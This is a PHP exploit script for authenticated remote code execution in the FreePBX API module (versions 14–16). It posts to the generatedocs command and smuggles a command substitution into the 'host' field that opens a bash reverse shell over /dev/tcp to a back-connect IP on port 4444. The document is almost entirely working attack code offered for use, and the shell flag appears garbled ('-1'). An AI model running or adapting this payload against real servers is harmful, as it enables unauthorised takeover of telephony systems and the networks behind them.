FreePBX 16 - Remote Code Execution (RCE) (Authenticated)

<?php
///
/// FREEPBX [14,15,16] API Module Authenticated RCE
/// Orginal Difcon || https://www.youtube.com/watch?v=rqFJ0BxwlLI
/// Cod[3]d by Cold z3ro
///
$url = "10.10.10.186"; // remote host
$backconnectip = "192.168.0.2";
$port = "4444";
$PHPSESSID = "any valid session even extension";

    echo "checking $url\n";
    $url = trim($url);
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, 'http://'.$url.'/admin/ajax.php?module=api&command=generatedocs');
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_CUSTOMREQUEST, 'POST');
    curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
    curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 2);
    curl_setopt($ch, CURLOPT_TIMEOUT, 2);
    curl_setopt($ch, CURLOPT_HTTPHEADER, [
        'Referer: http://'.$url.'/admin/config.php?display=api',
        'Content-Type: application/x-www-form-urlencoded',
    ]);
    curl_setopt($ch, CURLOPT_COOKIE, 'PHPSESSID='.$PHPSESSID);
    curl_setopt($ch, CURLOPT_POSTFIELDS, 'scopes=rest&host=http://'.$backconnectip.'/$(bash -1 >%26 /dev/tcp/'.$backconnectip.'/4444 0>%261)');
    curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);

    echo $response = curl_exec($ch)."\n";

    curl_close($ch);

?>